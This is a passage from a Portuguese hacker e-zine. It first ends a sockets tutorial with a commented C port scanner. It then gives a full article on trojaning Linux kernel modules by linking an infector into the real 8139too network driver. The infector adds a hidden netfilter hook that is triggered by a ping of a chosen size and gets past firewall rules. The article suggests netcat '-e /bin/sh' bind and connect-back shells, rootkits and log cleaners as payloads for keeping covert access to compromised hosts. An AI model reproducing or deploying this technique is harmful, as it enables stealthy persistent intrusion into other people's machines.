Como pode ver, a função retorna a seguinte estrutura.

  struct  servent {
      char   *s_name;     // nome do servico
      char   **s_aliases; // nomes alternativos para o servico
      short  s_port;      // porta padrao utilizada por este servico
      char   *s_proto;    // protocolo usado por este servico
      };

Agora vamos ver outro exemplo para fixar bem.

-----------------------------exemplos.c----------------------------------

#include  // ser for UNIX, adicione esse header.

int main() {
  struct servent *servico;

  servico=getservbyport(htons(80),"tcp");

  /* queremos o protocolo tcp, tbem poderíamos 
     escolher o udp.*/

  printf("Na porta 80 temos o servico %s",servico->s_name);
  }

-----------------------------exemplos.c----------------------------------

Simples, não? Notem que nesse caso não precisamos nem criar um socket.

Mas temos que fazer uma pergunta.  Onde diabos estão armazenadas  essas informa-
ções sobre os serviços?

  No Windows NT/2000 ->
                        WINNT\system32\drivers\etc\services

  UNIX ->
          etc/services

Abra o arquivo e bingo! Vocês podem modificar esses arquivos, e lembrem-se:  mu-
dando esse arquivo, fatalmente o resultado do nosso último exemplo também  muda-
rá.

ATENÇÃO: se você está usando Windows  para acompanhar esse tutorial,  leia  esse
capítulo. Se você nunca pretende  programar sockets em Windows, pode pular  essa
parte e vá ao capítulo 9 (Fechando e encerrando).  Para quem vai pular, até mais
embaixo: FALOW!


Olá users Windows.

O  fato é o seguinte, existe uma função específica  para inicializar a  API win-
sock. Em outras palavras, se você não inicializar a  API, nenhuma aplicação  com
sockets vai funcionar.

A função para inicializar é:

  int WSAStartup(WORD,LPWSADATA);

onde o WORD é um unsigned short.  O LPWSADATA é um ponteiro para a  seguinte es-
trutura:

  typedef struct WSAData {
	WORD	wVersion;
	WORD	wHighVersion;
	char	szDescription[WSADESCRIPTION_LEN+1];
	char	szSystemStatus[WSASYS_STATUS_LEN+1];
	unsigned short	iMaxSockets;
	unsigned short	iMaxUdpDg;
	char * 	lpVendorInfo;
  } WSADATA;

Exemplo prático para inicializar a API Winsock:

  WORD Versao;   // variável
  WSADATA Start; // variável
  Versao=MAKEWORD(2,0);
/* aki exigimos ao Win uma versão da API. Nesse caso será a versão 2.0.*/

  if(WSAStartup(Versao,&Start)!=0) {
     printf("Versao 2.0 da API winsock requerida");
     exit();
     }

A  função retorna 0 em caso de sucesso. Para encerrar o Winsock, usamos a função
WSACleanup(). Desse jeito mesmo. Quando não quisermos mais usar o Winsock, basta
utilizar esta função.Então, relembrando,  para criar e usar o socket  temos  que
inicializar a API winsock, quando não quisermos mais usá-la, executamos a função
WSACleanup().

Nota importante: se você estiver usando o Dev-C++ para acompanhar este tutorial,
gostará de saber que há um procedimento adicional a ser realizado.  Para inserir
referência à  API Winsock na sua  aplicação, clique em "Projects",  "Project Op-
tions",clique num botão chamado "Load Object Files" e referencie um arquivo cha-
mado "libwsock32.a".  Na pasta onde o Dev  está instalado,  localize o diretório
"Lib" e lá encontrará a biblioteca específica dos sockets ("libwsock32.a").



--=[ 9. Fechando e encerrando

Neste capítulo estudaremos funções de fechamento de sockets.

Como já foi mencionado uma vez neste tutorial, há uma função que fecha o socket.
Trata-se da função close() para unix-like e closesocket() para o Windows. O úni-
co argumento para esta função é o socket que  desejamos encerrar.

   int s1;
   s1=socket(2,1,0);
   closesocket(s1);
   /*
   close(s1);
   unix-like
   */

Em algum momento, em seu programa,você pode querer parar o recebimento ou o  en-
vio de dados ou mesmo os dois. Para isso existe uma função específica, o
shutdown(). Seu formato e sintaxe são idênticos  no Windows ou em qualquer unix-
like:

  int shutdown(socket int, mode int);

Onde 'mode' seria uma das três possibilidades:

  /* shutdown() how types */
  #define SD_RECEIVE      0x00
  #define SD_SEND         0x01
  #define SD_BOTH         0x02

SD_RECEIVE = aborta o recebimento de dados.
SD_SEND = aborta o envio de dados.
SD_BOTH = aborta ambos.

Exemplo:

  int s1;
  s1=socket(2,1,0);
  shutdown(s1,SD_BOTH);

Essa função não teria utilidade para nós, já que ainda não vimos como receber  e
enviar dados, mas logo terá.



--=[ 10. Scanner de portas

Vamos direto ao exemplo:

------------------------------codigo.c-----------------------------------
<++> sockets/scanner.c
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int main(int argc, char *argv[])
{
  int mysocket;
  struct sockaddr_in pc_remoto;
  struct servent *serv;
  int i,conexao,porta,p_inicial,p_final;

  if(argc!=4) {
     printf("\n");
     printf("*********************************************\n");
     printf("*Scanner de portas usando a funcao connect()*\n");
     printf("**by mi!en@r [gustavo FuckSpam milenar net]**\n");
     printf("*********************************************\n\n");
     printf("Uso: [x.x.x.x] [Porta inicial] [Porta final]");
     printf("\n");
     exit(0);
     }

  p_inicial=atoi(argv[2]);
  p_final=atoi(argv[3]);

  for(porta=p_inicial;porta<=p_final;porta++) {
  // aqui é lógica pura, entendam.
     mysocket=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); 
    // cria socket

     if(mysocket==-1) {                               
     // se deu -1, sinal q houve algum erro.
        printf("Nao foi possivel criar socket\n");
        close(mysocket);
        exit(1);
        }

     pc_remoto.sin_family=AF_INET; 
     // arquitetura AF_INET, se lembra pq?

     pc_remoto.sin_port=htons(porta); 
     // veja o detalhe. Convertemos a NBO para funcionar.

     pc_remoto.sin_addr.s_addr=inet_addr(argv[1]); 
     /* endereço convertido de ASCII, 
        q o user digitou na linha de comando, para um IP. */

      
     memset(&(pc_remoto.sin_zero),'\0',8);
     // zera a estrutura para acomodar no sockaddr.

     if(conexao=connect(mysocket,(struct sockaddr *)&pc_remoto,sizeof(pc_remoto))==-1) {
       /* deu -1, sinal q nao houve conexao, entao, 
          pressupomos q a porta estah fechada. */
        printf(".\n");
        close(mysocket); 
       // fechamos o socket e deixamos o laço "for" trabalhar

        }
     else {
        serv=getservbyport(htons(porta),"tcp");
        printf("Porta %d aberta. Servico [%s]\n",porta,serv->s_name);
/* informa q a porta estah aberta 
   e mostra qual o serviço disponível. */
        close(mysocket); 
        // fecha o socket e deixar o "for" trabalhar

        }
	  /* user win, já sabe o q deve estar aqui, certo? 
     Não queremos mais usar o socket */
     }
  return 0;   
  }
<--> sockets/scanner.c
------------------------------codigo.c-----------------------------------

A lógica é muito simples.Tentamos nos conectar a determinada porta usando a fun-
ção connect, caso haja falha na conexão,  pressupomos que aquela porta  está fe-
chada. Caso nosso  programinha consiga a conexão, significa  que a porta está a-
berta. Leia o código-fonte inteiro, já estamos aptos a entendê-lo.  Além disso,
comentei o código todo, tornando sua compreensão mais fácil ainda.

Gostaria que vocês compilassem e testassem todos os exemplo que incluí, mesmo os
mais banais.Além disso, quero que desenvolvam e testem suas próprias aplicações.
É verdade que com este tutorial pouco se pode fazer,mas com o pouco conhecimento
que já tem, botem a criatividade para funcionar, testem as idéias que aparecerem
e certamente dúvidas inteligentes surgirão.

Nunca é demais lembrar que este scanner de portas tenta estabelecer conexão  com
o host alvo, isto significa que qualquer firewall meia-boca poderia  detectá-lo.
Por isto, tome cuidado onde for executá-lo.  Empresas de segurança  contabilizam
scanneamento de portas como tentativas de invasão. Cuidado.

Em relação aos headers para UNIX, pode  variar  muito, por isso veja com as  man
pages, elas ajudam barbaridades! Usei como base para  a escrita desse tutorial o
FreeBSD 5.1 e o Windows 2000 Professional.

Por  hoje é só. Estudem esse texto aí em cima, e estejam preparados. Veja que a-
penas nos conectamos a um servidor;  no próximo tutorial vamos ver como  receber
conexões e como enviar/receber dados.

Abraços!


_EOF_

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[LKM Code Injection]=-|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

--=[ Introducao

	Melhor que conseguir elevar  privilegios em um sistema e deixar um LKM 
nosso, com backdoors, rootkits, ou o que for, e' colocar isso tudo em um LKM do
sistema. Desta forma, a deteccao de rastros de uma intrusao fica um pouco mais
dificil.

	Neste pequeno texto, veremos de maneira clara (eu espero) como podemos
infectar  um LKM,  adicionando mais funcoes ou modificando-as,  da maneira que
acharmos uteis ao nossos objetivos.

	O assunto pode parecer um pouco complexo para iniciantes, entretanto o
que e' tratado e' somente o basico. Entao, se ja possui um conhecimento do as-
sunto, e' mais proveitoso procurar por algo mais avancado para leitura. Conhe-
cimento previo sobre a escrita de LKM e bem-vindo, embora nao seja indispensa-
vel.  Exemplos e citacoes sao feitos  tendo em mente o kernel do GNU/linux, 
2.4.x.



--=[ O que sao LKMs

	LKMs sao "pedacos" do kernel, que podem ser carregados e descarregados
dinamicamente, aumentando (ou diminuindo) a gama de opcoes e funcionalidades que
sao disponibilizadas pelo kernel do sistema. Por ser carregado sob demanda, ou
seja, nao esta embutido no proprio kernel, LKMs tem diversas vantagens a codigo
escritos diretamente no kernel. Entre elas temos:

 - Economia de memoria: Pelo fato de ser carregada somente quando necessario,
 nao existe desperdicio de memoria com funcoes que nao sao utilizadas constan-
 temente;
 - Facilidade na compilacao e debug: LKMs apos carregadas sao parte do kernel,
 entretanto nao precisam ser compiladas junto com ele. Podem ser escritos e 
 compilados a qualquer momento. Quando se tem problemas com o codigo, e' possi-
 vel fazer um debug dele com facilidade muito maior do que se o codigo estives-
 se embutido no kernel. E' mais rapido descarregar o modulo, modificar o codigo,
 recompilar e recarregar o modulo do que reescrever a parte do codigo que esta
 no kernel, recompilar tudo e reiniciar o computador!
 - Novos drivers podem ser testados sem precisar reiniciar o sistema. E sao em
 drivers que iremos nos concentrar.



--=[ Inicio - Primeiros Exemplos

	A forma mais simples de entender como funciona e' com exemplos. Inicial-
mente,  criamos um modulo chamado driver_original.o,  que sera o exemplo usado
como modulo do sistema, que futuramente sera infectado:

<++> lkm_injection/driver_original.c
/*
 * Simples exemplo de um lkm que nao faz nada,
 * mas poderia ser, por exemplo, um driver de
 * uma placa de rede. 
 * Compile com $gcc -O3 -c driver_original.c
*/

#define MODULE
#define __KERNEL__
    
#include 
#include 
    
static int __init inicio(void)
{
  printk ("<1> Iniciando driver_original \n");
  printk ("<1> Executando funcoes iniciais\n");    
  printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
  return 0;
}

static void __exit fim(void)
{
  printk ("<1> Finalizando modulo orignal \n");
}
          
module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");
<--> lkm_injection/driver_original.c

    
	Antes de carregar o modulo,  e' interessante ter o syslogd funcionando 
corretamente e com a seguinte linha no seu arquivo de configuracao (normalmente
/etc/syslog.conf):

    kern.alert   /var/log/alert

Dessa forma poderemos observar melhor as mensagens que serao emitidas  pelo mo-
dulo. Apos isso, compile o codigo e carregue o modulo:

    #gcc -O3 -c driver_original.c
    #insmod driver_original.o
   
    As opcoes passadas para o gcc sao:

||  -O3: Optimize yet more.  -O3 turns on all optimizations specified 
|| by -O2 and also turns on the -finline-functions and -frename-registers 
|| options. (E' uma opcao para otimizacao do objeto criado pelo gcc.).
||
||  -c: Compile or assemble the source files, but do not link.  The linking 
|| stage simply is not done. The ultimate output is in the form of an object 
|| file for each source file.
    
    As seguintes mensagens devem aparecer em '/var/log/alert' (ou nao, elas 
ainda podem aparecer em outro arquivo de log, sinistramente):

    Nov 14 17:24:57 matrix kernel:  Iniciando driver_original
    Nov 14 17:24:57 matrix kernel:  Executando funcoes iniciais
    Nov 14 17:24:57 matrix kernel:  Modulo carregado e aguardando chamada a 
    suas funcoes


	Com o driver (pseudo-driver que faz absolutamente nada mais do que exi-
bir mensagens) criado, podemos agora criar o modulo que contem o codigo que se-
ra injetado no driver_original.o:

<++> lkm_injection/infector.c
/*
 * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
 * seja, so executa alguma funcao durante o carregamento dele), que sera 
 * utilizado para ser injetado em um outro modulo.
*/

#define MODULE
#define __KERNEL__

#include 
#include 

int init_module(void)
{
  printk ("<1> Iniciando funcoes do modulo injetado\n");
  return 0;
}
<-->lkm_injection/infector.c


	Observe que o modulo anterior possui apenas uma funcao, a init_module.
Essa funcao e' a equivalente a "main()" em um programa em C comum,  ou seja, e'
a primeira funcao a ser executada na execucao do modulo, que no caso e' o car-
regamento dele. Como deve imaginar, existe tambem uma funcao executada logo an-
tes do descarregamento do modulo.  Essa funcao e' a "cleanup_module()".

    Compile o codigo e carregue o modulo:
    #gcc -O3 -c infector.c
    #insmod infector.o

    A seguinte mensagem deve aparecer em '/var/log/alert':

    Nov 14 17:36:29 matrix kernel:  Iniciando funcoes do modulo injetado

	Por enquanto, tudo que temos sao dois modulos separados (note que a uni-
ca coisa que os modulos estao fazendo ate agora e' exibir mensagens no arquivo
de log. Leve em conta o seguinte: 

 - As funcoes do driver_original.o ja existem, como codigo do modulo do sistema
que futuramente sera infectado. Poderiamos estar usando como exemplos o codigo
de um driver real, mas isso apenas complicaria de forma desnecessaria a explana-
cao de como podemos efetuar a infeccao;
 - As nossas funcoes - backdoors, rootkits, etc - serao adicionadas em breve 
(por voce, obvio, apenas sera mostrado que e' possivel fazer e como poderia
ser feito).
 
	Voltando ao que vale, o que precisamos fazer agora, e' injetar o modulo
infector.o dentro do modulo driver_original.o. Para isso, podemos utilizar o
GNU Linker (ld):

||    "ld  combines  a  number of object and archive files, 
||    relo­cates their data and ties up  symbol  references.  
||    Usually the last step in compiling a program is to run 
||    ld."

	Para injetar o codigo do infector.o dentro do driver_original.o, podemos
fazer da seguinte forma:

    #ld -r -z muldefs infector.o driver_original.o -o devil.o

	Basicamente o que e' feito aqui e' uma injecao da funcao 'int init_modu-
le(void)' (a unica) do modulo infector.o para o modulo driver_original.o, crian-
do um novo modulo, chamado devil.o. O codigo do driver_original.o deve ter fica-
do parecido com o seguinte:

/** driver_original_infectado */
#define MODULE
#define __KERNEL__

#include 
#include 

static int __init inicio(void)
{
  printk ("<1> Iniciando driver_original \n");
  printk ("<1> Executando funcoes iniciais\n");    
  printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
  return 0;
}

static void __exit fim(void)
{
  printk ("<1> Finalizando modulo orignal \n");
}
          
module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");

int init_module(void)
{
  printk ("<1> Iniciando funcoes do modulo injetado\n");
  return 0;
}
/** fim de driver_original_infectado */


    Apos carregar ele (#insmod devil.o), o seguinte e' visto em '/var/log/alert':

    Nov 14 18:34:42 matrix kernel:  Iniciando funcoes do modulo injetado

	Esta funcionando, mas nao perfeitamente, ainda. Alguns detalhes devem
ser observados. Um pouco de teoria:
    
	Em um LKM, a primeira funcao a ser executada e' a init_module() OU algu-
ma funcao passada como argumento para a macro module_init() (que no caso do
driver_original.c, foi a funcao 'inicio'). A macro module_init() esta declarada
em '/usr/src/linux/include/linux/init.h':

|| /**
||  * module_init() - driver initialization entry point
||  * @x: function to be run at kernel boot time or module insertion
||  *
||  * module_init() will add the driver initialization routine in
||  * the "__initcall.int" code segment if the driver is checked as
||  * "y" or static, or else it will wrap the driver initialization
||  * routine with init_module() which is used by insmod and
||  * modprobe when the driver is used as a module.
|| */
|| #define module_init(x)  __initcall(x);

    Se observar, vera que no codigo teria tanto a funcao "module_init" quanto
a "init_module". Entao, caso o codigo acima fosse compilado, ocorreria um erro:

    error: redefinition of `init_module'
    error: `init_module' previously defined here

	O mesmo ocorreria se eles fossem  compilados separados e  posteriomente
linkados. Para contornar este problema, compilamos os arquivos separadamentes e
linkamos,  passando o argumento '-z muldefs' para o ld,  informando a ele para
aceitar definicoes multiplas de uma mesma funcao. Desta forma podemos substituir
(sobreescrever) a funcao 'module_init(inicio)', que inicializa o driver_original
.o, pela funcao init_module() do modulo infector.o.  

	Dessa forma teriamos o nosso modulo injetado dentro do modulo que esta-
mos tentando infectar. So tem um detalhe: A funcao 'module_init(inicio)' que se-
ra sobreescrita contem codigo que pode ser essencial para o modulo, em sua ver-
sao nao infectada (aqui o codigo original apenas exibe mensagens, mas normalmen-
te nao e' apenas isso que ocorre), e deve continuar sendo executado.  Para que
tudo funcione corretamente, basta que o modulo infector.o, em sua inicializacao,
execute uma chamada para a funcao inicio() do modulo driver_original.o. 
Complicou? Observe:

<++> lkm_injection/infector2.c
/*
 * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
 * seja, so executa alguma funcao durante o carregamento dele), que sera
 * utilizado para ser injetado em um outro modulo. Apos carregado, executa funcao
 * principal do modulo infectado
 */
#define MODULE
#define __KERNEL__
    
#include 
#include 

int init_module(void)
{
  printk ("<1> Iniciando funcoes do modulo injetado\n");
  printk ("<1> ***inicializando modulo original*** \n\n");
  inicio (); // funcao inicio do driver_original, chamada para 
             // inicializacao dele
  return 0;
}
<--> lkm_injection/infector2.c

Compilamos o novo modulo e linkamos com o modulo original, criando um outro 
modulo, chamado devil.o:

    # gcc -O3 -c infector2.c
    # ld -r -z muldefs infector2.o driver_original.o -o devil.o
    
    Apos carregar o modulo (#rmmod devil; insmod devil.o), vemos o seguinte em
    '/var/log/alert':

    Nov 14 18:39:24 matrix kernel:  Iniciando funcoes do modulo injetado
    Nov 14 18:39:24 matrix kernel:  ***inicializando modulo original*** 
    Nov 14 18:39:24 matrix kernel:  Iniciando driver_original 
    Nov 14 18:39:24 matrix kernel:  Executando funcoes iniciais
    Nov 14 18:39:24 matrix kernel:  Modulo carregado e aguardando chamada a
suas funcoes

    Exatamente o que e' necessario:
 - Nosso modulo e' executado, fazendo o que precisa;
 - Nosso modulo chama a funcao original do modulo que foi infectado;
 - Modulo original funciona normalmente, como se nada tivesse acontecido.
    So precisamos de algum codigo util para ser executado e algum modulo para 
servir de hospedeiro!



--=[ Localizando o Hospedeiro

	Como dito anteriormente, a primeira funcao a ser executada em um modulo
pode ser tanto module_init(FUNCAO), quanto  init_module(). No caso da infeccao
de um modulo que seja inicializado por  module_init(FUNCAO), so precisamos nos
certificar que o codigo que infectou o modulo original faca uma chamada para
'FUNCAO', garantindo assim que tudo que deve ser executado por ele ao ser car-
regado realmente sera executado. Agora, no caso da infeccao de um modulo que e'
inicializado por init_module(), a situacao e' diferente. E' necessario literal-
mente reescrever o init_module() do modulo original dentro do  modulo que  ira 
causar a  infeccao. Isto  pode  ser  um  tanto chato de se fazer, dependendo do 
tamanho da funcao de inicializacao. Por este simples motivo, sera dado preferen-
cia aos modulos que sejam inicializados por module_init(FUNCAO).

	Decidir qual modulo utilizar nao deve ser uma tarefa muito complicada.
Vamos levar em consideracao o seguinte:

 - Para que possamos acessar uma maquina remota, ela obviamente esta conectada
a rede atraves de algum dispositivo, que normalmente e' uma interface de rede 
(ethernet);
 - Para que a interface de rede possa ser utilizada, e' necessaria a utilizacao
de algum tipo de driver;
 - A maioria das distribuicoes de linux atualmente, colocam os drivers de
interfaces de rede como modulos;

	Com estas informacoes, conclui-se que e' bastante interessante a infec-
cao de um driver de interface de rede (se a maquina nao carregar este modulo a
cada inicializacao do sistema,  ela nao tera  acesso a rede e nos nao teremos
acesso a ela de qualquer forma, por isso a escolha).

	Outro detalhe que vale observar e' que muitas maquinas costumam utilizar
placas de rede comuns (realtek, sis900, 3com), assim utilizam os mesmos modulos
(sistemas diferentes utilizando modulos iguais), o que facilitaria bastante a
escrita de nosso codigo de infeccao. Vamos dar uma observada no codigo destes
modulos controladores de dispositivos de rede:


|| /** realtek 8139 */
|| /*
||   8139too.c: A RealTek RTL-8139 Fast Ethernet driver for Linux.
||    Maintained by Jeff Garzik 
||   Copyright 2000-2002 Jeff Garzik
|| */
|| ...
|| muito codigo
|| ...
|| module_init(rtl8139_init_module);
|| module_exit(rtl8139_cleanup_module);
|| /** fim de realtek 8139 */


|| /** sis900 */
|| /* sis900.c: A SiS 900/7016 PCI Fast Ethernet driver for Linux.
||    Copyright 1999 Silicon Integrated System Corporation 
||    Revision: 1.08.06 Sep. 24 2002
||        
||    Modified from the driver which is originally written by Donald Becker.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(sis900_init_module);
|| module_exit(sis900_cleanup_module);
|| /** fim de sis900 */


|| /** ne2k */
|| /* ne2k-pci.c: A NE2000 clone on PCI bus driver for Linux. */
|| /*
||  A Linux device driver for PCI NE2000 clones.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(ne2k_pci_init);
|| module_exit(ne2k_pci_cleanup);
|| /** ne2k */


	O codigo completo dos arquivos esta em '/usr/src/linux/drivers/net'.
Nota alguma semelhanca entre o codigo desses drivers e o codigo do 
"driver_original.c"? Observa-se que muitos destes drivers estao codificados de
forma a facilitar o nosso trabalho. Tendo entao alguns hospedeiros selecionados,
vamos juntar alguns codigos interessantes para injetar neles.



--=[ Colocando Algum Codigo Util

    Agora que ja sabemos como fazer, precisamos decidir o que fazer. Algumas
ideias:

 - Uma backdoor;
 - Um logcleanner;
 - Um rootkit;
 - Um sninffer;
 - Qualquer coisa que voce tiver ideia! Voce esta no comando.
 
	Com as ferramentas em maos, vamos ver uma pseudo-implementacao de algum
codigo realmente util. O codigo a seguir e' uma LKM que contem um codigo inofen-
sivo, ate que o kernel manipule um pacote ICMP de 50 bytes (em outras palavras,
o codigo nocivo da LKM e' ativado por um PING remoto de 50 bytes, que pode ser
feito assim: $ping -s 22 ip.da.vitima). Isso e' feito com a criacao de um hook
no netfilter, que e' adicionado antes de outras possiveis regras que  poderiam
ter sido criadas para bloquear pacotes ICMP, ou seja, voce pode com isso passar
por um conjunto de regras que tornaria a vitima inacessivel. E mais, voce pode
criar regras on-the-fly,  para permitir que a maquina que enviou o pacote ICMP
tenha acesso irrestrito. Resumindo, voce pode inutilizar as regras que tenham
sido criadas. 

	Para execucao, e' possivel colocar o que quiser: uma backdoor (que tal
executar o netcat ouvindo em uma porta X e passar a opcao "-e /bin/sh" para ele?
Uma root shell sem muito esforco), uma backdoor em connect-back  (que tal esse
mesmo netcat se conectar no ip de quem enviou o pacote ICMP), desativar o syslo-
gd enquanto o ip de quem enviou o pacote  ICMP estiver se comunicando com a ma-
quina, etc. Observe que, se receber 50 pacotes do tamanho especifico, o codigo
nocivo sera executado 50 vezes, o que nao sera bom na maioria dos casos.  No
exemplo, apenas exibe uma mensagem, entao nao teremos problemas. Tenha isso em
mente no momento que for implementar algo e controle a execucao do codigo noci-
vo. Segue a implementacao:



<++> lkm_injection/injekt.c
/*
 * Implementacao de lkm com codigo nocivo ativado remotamente,
 * atraves do recebimento de um pacote ICMP de 50 bytes, que pode
 * ser alterado passando o parametro pkt_size: 
 * #insmod injekt.o pkt_size=100
 *
 */
#define __KERNEL__
#define MODULE

#define P_SIZE_OFFSET 28

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/* declaracoes de variaveis e prototipo de funcoes  */
int exec_injetk(void);
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
                            struct sk_buff **skb,
                            const struct net_device *in,
                            const struct net_device *out,
                            int (*okfn)(struct sk_buff*));



/* funcao principal do modulo */
int __init init_injekt()
{
    printk ( "<1> Inicializando : icmp_pkt_size:  " \
                 "%i bytes\n\n", pkt_size + P_SIZE_OFFSET);

    /* informacoes para registrar o hook do netfilter */
    nfh.hooknum  = NF_IP_LOCAL_IN;
    nfh.priority = NF_IP_PRI_FIRST;
    nfh.hook     = i_ll_hook_you;
    nfh.pf       = PF_INET;

    /* a hook e' criada */
    nf_register_hook(&nfh);
    
    return 0;
}



/* funcao de saida do modulo */
void __exit exit_injekt ( )
{
    /* remove a hook */    
    nf_unregister_hook( &nfh );
}


/* O que sera feito quando receber o pacote ICMP do tamanho especificado  */
int i_am_terrible( )
{
    printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
    return 0;
}


/* aqui temos a hook propriamente dita */
unsigned int i_ll_hook_you ( 
		    unsigned int hooknum,
                    struct sk_buff **skb,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff * ) ) {

    struct sk_buff *sk = *skb;
    /* verifica se o protocolo e' icmp e o tamanho do pacote e' o especificado */
    if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
         sk->len == P_SIZE_OFFSET + pkt_size ) {
        /* informa que recebeu o pacote */
	//printk ( "<1> Recebido pacote de %i bytes )\n\n", sk->len );
	i_am_terrible();
	return NF_STOLEN; /* elimina o pacote! */
    }
    return NF_ACCEPT; /* retorna o pacote para ser feito o que for preciso */
}

/* informacoes do modulo */
module_init ( init_injekt );
module_exit ( exit_injekt );
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
MODULE_LICENSE ( "GPL" );
MODULE_AUTHOR  ( "tDs " );
MODULE_DESCRIPTION ( ":: keep your mind free() ::" );
<--> lkm_injection/injekt.c



--=[ Cenario Real: Infectando um Driver

	Vamos utilizar como exemplo o driver 8139too.o, que normalmente esta em
"/lib/module/kernel_versao/kernel/drivers/net/8139too.o.gz". Note que ele esta
compactado (na maioria das distribuicoes),  entao nao tente injetar seu modulo
sem antes descompactar.  O codigo que sera injetado e' o que foi exposto acima,
levemente modificado (embora continue fazendo nada mais do que exibir mensagens).
Segue o codigo:

<++>lkm_injection/8139injekt.c
/*
 * Implementacao de lkm com codigo nocivo ativado remotamente,
 * atraves do recebimento de um pacote ICMP de 50 bytes, que pode
 * ser alterado passando o parametro pkt_size: 
 * #insmod 8139injekt.o pkt_size=100
 * preparado para infectar driver da placa de rede realtek 8139too
 * /lib/modules/2.4.x/kernel/drivers/net/8139too.o.gz
 *
 */
#define __KERNEL__
#define MODULE

#define P_SIZE_OFFSET 28

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int exec_injetk(void);
extern RTL8139_DRIVER_NAME;
extern rtl8139_pci_driver;
//extern pci_module_init();
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
                            struct sk_buff **skb,
                            const struct net_device *in,
                            const struct net_device *out,
                            int (*okfn)(struct sk_buff*));

int init_module()
{
	/* codigo do driver original */
        /* when we're a module, we always print a version message,
         * even if no 8139 board is found.
         */
#ifdef MODULE
        printk("<8> %s \n", RTL8139_DRIVER_NAME);
#endif


    nfh.hooknum  = NF_IP_LOCAL_IN;
    nfh.priority = NF_IP_PRI_FIRST;
    nfh.hook     = i_ll_hook_you;
    nfh.pf       = PF_INET;
    nf_register_hook(&nfh);
    
    /* codigo do driver original */
    return pci_module_init(&rtl8139_pci_driver);
}

void cleanup_module ( )
{
    /* remove a hook */
    nf_unregister_hook( &nfh );
    /* codigo do driver original */
    pci_unregister_driver(&rtl8139_pci_driver);
}
int i_am_terrible( )
{
    printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
    return 0;
}
unsigned int i_ll_hook_you ( 
		    unsigned int hooknum,
                    struct sk_buff **skb,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff * ) ) {
    struct sk_buff *sk = *skb;
    if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
         sk->len == P_SIZE_OFFSET + pkt_size ) {
	i_am_terrible();
	return NF_STOLEN;
    }
    return NF_ACCEPT;
}
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
<-->lkm_injection/8139injekt.c


    Compile e linke o modulo. Apos linkar, sera exibida uma mensagem de 
advertencia:

    # gcc -O3 -c 8139injekt.c
    # ld -r -z muldefs 8139inject.o 8139too.o -o devil.o
    ld: Warning: size of symbol `init_module' changed from 139 in badcode.o 
    to 70 in 8139too.o
    ld: Warning: size of symbol `cleanup_module' changed from 32 in badcode.o 
    to 12 in 8139too.o
    # modinfo devil.o
    filename:    devil.o
    description: "RealTek RTL-8139 Fast Ethernet driver"
    author:      "Jeff Garzik "
    license:     "GPL"
    parm:        pkt_size int, description "Tamanho de pacote ICMP  
                 ( Padrao = 50 )"
    parm:        multicast_filter_limit int, description "8139too maximum number
                 of filtered multicast addresses"
    parm:        max_interrupt_work int, description "8139too maximum events 
                 handled per interrupt"
    parm:        media int array (min = 1, max = 8), description "8139too: Bits
                 4+9: force full duplex, bit 5: 100Mbps"
    parm:        full_duplex int array (min = 1, max = 8), description "8139too:
                 Force full duplex for board(s) (1)"
    parm:        debug int, description "8139too bitmapped message enable number"

    
	Observe que o modulo agora contem o parametro que definimos anteriormen-
te, em nosso modulo. Apos carregar o modulo, o hook do netfilter que foi criada
estara disponivel e, para ativar a nossa funcao "i_am_terrible", basta um 
"ping -s 22 ip.da.vitima". Note que o PING nao vai retornar resposta, visto que
o pacote sera descartado no hook. Entretanto, funcionara perfeitamente. Ultima
observacao: Nao tente fazer isso com um driver de um dispositivo nao presente
na maquina, os resultados podem ser desastrosos ( panic() ).

	Muito pode ser feito com infeccao de modulo, embora pessoas com maior 
conhecimento normalmente utilizam-se de outros meios para manter acesso em
hosts previamente dominados. A utilizacao de modulos para esse fim pode ser
bastante efetiva e ao mesmo tempo muito simples de ser implemtentada.


--=[ Agradecimentos e Links/Referencias

	Pessoal da scene brasileira toda, em especial ao pessoal que converso
com maior frequencia. Voces sabem quem sao voces.
    Informacao e' simples de se adquirir, internet esta cheia disso. Basta saber
procurar.

http://www.motdlabs.org
http://tds.motdlabs.org
http://gcc.gnu.org/onlinedocs/gcc-3.4.4/gcc/
http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_chapter/ld_toc.html
http://www.netfilter.org/

_EOF_

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[05]-=[MSN Hacking]-=|Leandro A. Thomas|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
